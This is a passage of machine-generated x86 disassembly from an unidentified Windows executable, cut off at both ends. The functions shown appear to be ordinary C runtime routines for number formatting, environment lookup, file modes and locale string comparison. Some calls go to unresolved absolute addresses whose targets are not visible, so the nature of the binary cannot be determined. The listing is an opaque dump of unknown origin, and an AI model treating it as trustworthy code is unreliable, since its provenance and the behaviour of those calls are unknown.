		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB57C
		mov	eax, offset dword_4DB57C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB578
		mov	eax, offset dword_4DB578
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB580
		mov	eax, offset dword_4DB580
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB574
		mov	eax, offset dword_4DB574


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB350
		and	dword_4DB350, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C94C
		mov	dword_43C94C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C940
		mov	ecx, dword_43C944
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C8D0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C94C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB350, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C94C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8CC, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC910, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2A8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2A0
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB278, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB278, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDC8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF28
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC6C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC8E4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2A8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB588, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB588, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE2C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E05C1h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB588, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB588
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E05C1h
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28A0627h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2810000h
		nop
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
